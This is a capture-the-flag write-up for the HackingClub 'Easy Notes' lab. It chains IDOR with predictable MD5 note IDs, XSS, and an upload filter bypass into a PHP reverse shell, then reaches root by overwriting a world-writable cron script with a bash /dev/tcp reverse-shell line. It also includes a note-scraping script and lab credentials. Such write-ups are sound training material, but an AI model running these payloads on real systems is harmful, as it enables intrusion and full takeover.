↓Skip to main content

[Write-Up] HackingClub: Easy Notes

·10 mins

Easy Notes #

Recon #

Nmap #

Start out by running Nmap on top 1000 most common ports to find out which services are running on the server. We have SSH and HTTP running on default ports. Also ran Nmap on all ports, no other port was found open.

┌──(kali㉿kali)-[~]
└─$ nmap -sV easynotes.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-03 17:41 -0400
Nmap scan report for easynotes.hc (172.16.10.241)
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: ip-172-16-10-241.ec2.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.50 seconds

Stack #

easynotes.hc #

  • Server: Apache HTTP Server 2.4.52
  • OS: Ubuntu
  • Language: PHP
  • Other: Tailwind CSS

admin.easynotes.hc #

  • Server: Apache HTTP Server 2.4.52
  • OS: Ubuntu
  • Language: PHP
  • Other: Tailwind CSS

Enumeration #

Domain enumeration #

Running domain enumeration on the service we find another subdomain running on the same web server, which appears to be an administrative interface:

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://easynotes.hc" -H "Host: FUZZ.easynotes.hc" -w /usr/share/wordlists/dirb/small.txt -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://easynotes.hc
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Header           : Host: FUZZ.easynotes.hc
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 213ms]
Admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 933ms]
:: Progress: [959/959] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

After this we move on to enumeration and discovery of both the root and the admin domains.

easynotes.hc #

Fuzzing with Ffuf #
┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://easynotes.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://easynotes.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Extensions       : php html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

assets                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 211ms]
cgi-bin/                [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 199ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 226ms]
login                   [Status: 200, Size: 8834, Words: 1819, Lines: 107, Duration: 231ms]
notes                   [Status: 200, Size: 4711, Words: 1435, Lines: 91, Duration: 210ms]
register                [Status: 200, Size: 8577, Words: 1757, Lines: 103, Duration: 214ms]
:: Progress: [2877/2877] :: Job [1/1] :: 186 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
Manual Crawling #

First thing we can find on http://easynotes.com is a login page and a register page. Anyone can register to use the service. With that in mind we proceed to do it.

We create two users:

  1. user: teste password: teste123
  2. user: teste2 password: teste123

By logging in with these users we discover the functionalities of creating notes, viewing notes and logout of the account.

After we create a note, and another account, we notice that there’s a IDOR vulnerability. Other vulnerabilities are found which are describe on vulnerabilities.

admin.easynotes.hc #

Fuzzing with Ffuf #

On admin.easynotes.hc we run two different enumerations, one for plain pages, shown below:

┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://admin.easynotes.hc/FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://admin.easynotes.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Extensions       : php html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

assets                  [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 211ms]
cgi-bin/                [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 212ms]
uploads                 [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 196ms]
:: Progress: [2877/2877] :: Job [1/1] :: 180 req/sec :: Duration: [0:00:18] :: Errors: 0 ::

Since we notice that there’s a page query parameter on admin.easynotes.hc we do fuzzing on the parameter, which the results are shown below:

┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ ffuf -u "http://admin.easynotes.hc/?page=FUZZ" -w /usr/share/wordlists/dirb/small.txt -e php,html -fs 266      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://admin.easynotes.hc/?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/small.txt
 :: Extensions       : php html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 266
________________________________________________

login                   [Status: 200, Size: 2710, Words: 749, Lines: 53, Duration: 203ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 216ms]
profile                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 199ms]
:: Progress: [2877/2877] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
Manual Crawling #

Initial unlogged At first glance we just get a login page, we notice that we have a uploads/ folder on discovery, but we do not have access to it initially.

Logged After logged, there’s a page for configuring user profile and avatar. The avatar functionality allow uploading files from our system or from a remote URL. On that functionality, although there’s some filtering by extension, we are able to bypass it and perform an unrestricted file upload.

Vulnerabilities #

easynotes.hc #

IDOR #

By working on both users, we create a note on user teste, save the generate hash for the note.

Then we logout from user teste and login into user teste2, using the hash for the note create on user teste as teste2 we find out that we can access that note.

XSS #

Knowing that one can control the content of a note and show it to another user, that could lead to a XSS. We test it out and we have the power to inject any script into the notes section. This is a note created from user teste accessed on user teste2 as described on the IDOR vulnerability.

Predictable Identifier #

Every note is assigned a hash. We get the hash of the first note created and try to break it, testing it on Crackstation we have:

Hash Type Result
c20ad4d76fe97759aa27a0c99bff6710 md5 12
If we do the opposite path hashing the number 1, we can access notes created by another users, which could increase the criticality of the IDOR vulnerability.

admin.easynotes.hc #

Unrestricted File Upload #

There’s a feature to upload an avatar, it can be uploaded from local machine or from remote website. Testing it out we find out there’s a extension based filter.

The feature is not complete, even after uploading a legitimate image, the avatar does not actually switch, but the contents what is upload is store on the endpoints uploads/.

We test some ways to bypass it, simply upload a .php file as .png does not render the file properly, the null byte %00did not bypass the filter, but the remote method allowed the upload of a .php file by using # on the URI.

Exploitation #

Accessing existing notes #

Since we have the IDOR and the predictable identifier for the notes we can write a script to access all the existing notes.

We get an active session ID and create a script to discover other notes by hashing numbers from 0 to 12:

┌──(kali㉿kali)-[~/Machines/HC-EasyNotes]
└─$ cat get_notes.sh   
SID=$1
while [ True ]; do
  (( counter++ ))
  echo $counter
  if [ $counter -ge 15 ]; then
    break;
  fi

  hash=$(printf "%s" "$counter" | md5sum | cut -d' ' -f1)
  curl -s -H "Cookie: PHPSESSID=8c09ef4iu5aqvink02cklaq30h" http://easynotes.hc/notes?id=$hash | grep -E "\"title\"|\"content\"" -A2 | grep -vE "<hr class|<p style="

done

By running it we get the contents of all notes up until note 12 (the first one create on testing). On note 5 find we have some relevant findings regarding the subdomain admin found on enumeration:

5
            <label for="title" class="sr-only">Title</label>
            <p class="block w-full border-0 pt-2.5 text-lg text-sky-950 font-medium placeholder:text-gray-500 px-2 pb-2 ">Note to john</p>
            <label for="content" class="sr-only">Content</label>
                Hello John, I hope you are well. When testing the app, don't forget to also test our subdomain. Our developer is on vacation but completed several features before leaving. He also created the login credentials before he left, so you should have everything you need to run the tests.
Credentials: usercybersec:cybersec@123
Once you see this note, don't forget to delete it.
Att, Easynotes Team            </p>

Logging into admin.easynotes.hc #

With the credentials we found, now we can get access to admin.easynotes.hc, we tried SQL injection bypass on that and didn’t have success, so now with the credentials, we can go further on that application.

As described in manual exploration, there’s a feature to upload avatars for the user.

First off we use that feature in a legitimate way by uploading a image. We notice it don’t actually changes the avatar, but the file seems to be uploaded somewhere. Looking for it on the uploads/ folder, we can access the file with the same name we’ve upload it.

We successfully bypass the filters in place by uploading an image from remote by appending #.png to the page:

http://10.0.9.28:8000/php-reverse-shell.php#.png

With that, we can access that image on http://admin.easynotes.hc/uploads/php-reverse-shell.php, which successfully run the reverse shell, granting us initial foothold on the machine and first user flag:

┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.12.60] 44134
Linux ip-172-16-12-60 5.15.0-1031-aws #35-Ubuntu SMP Fri Feb 10 02:07:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 14:06:12 up 1 min,  0 users,  load average: 0.25, 0.16, 0.06
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$       
www-data@ip-172-16-12-60:/opt$ ls /
bin  boot  dev  etc  flag.txt  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var
www-data@ip-172-16-12-60:/opt$ cat /flag.txt
hackingclub{REDACTED}

Privilege Escalation #

Running an script for recon a cron job running every minute is discovery, which appears to perform a backup:

[+] Current user: www-data
    User id: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    User groups: www-data
(...)
[+] Cron jobs
SHELL=/bin/sh
* *     * * *   root    /opt/backup.sh

Checking the permissions of that script, it’s writeable by everyone, the cron job is run as root, which can lead us to promote the current reverse shell to a root reverse shell:

www-data@ip-172-16-12-60:/$ cd /opt/
www-data@ip-172-16-12-60:/opt$ ls -lhart 
total 12K
-rwxr---w-  1 root root   67 May  5  2023 backup.sh
drwxr-xr-x  2 root root 4.0K May  5  2023 .
drwxr-xr-x 19 root root 4.0K Oct  4 14:04 ..

We update the contents of the script to perform a reverse shell on port 4445:

www-data@ip-172-16-12-60:/opt$ echo '/bin/bash -c "bash -i >& /dev/tcp/10.0.9.28/4445 0>&1"' > backup.sh 

After we wait for it to run, we get root:

┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.12.60] 41114
bash: cannot set terminal process group (1521): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-172-16-12-60:~# whoami
whoami
root
root@ip-172-16-12-60:~# ls /root
ls /root
root.txt
snap
root@ip-172-16-12-60:~# cat /root/root.tx
cat /root/root.txt 
hackingclub{REDACTED}
root@ip-172-16-12-60:~# 

Flags #

  • User (unrestricted file upload RCE): hackingclub{REDACTED}
  • Root (world-writable cron backup script): hackingclub{REDACTED}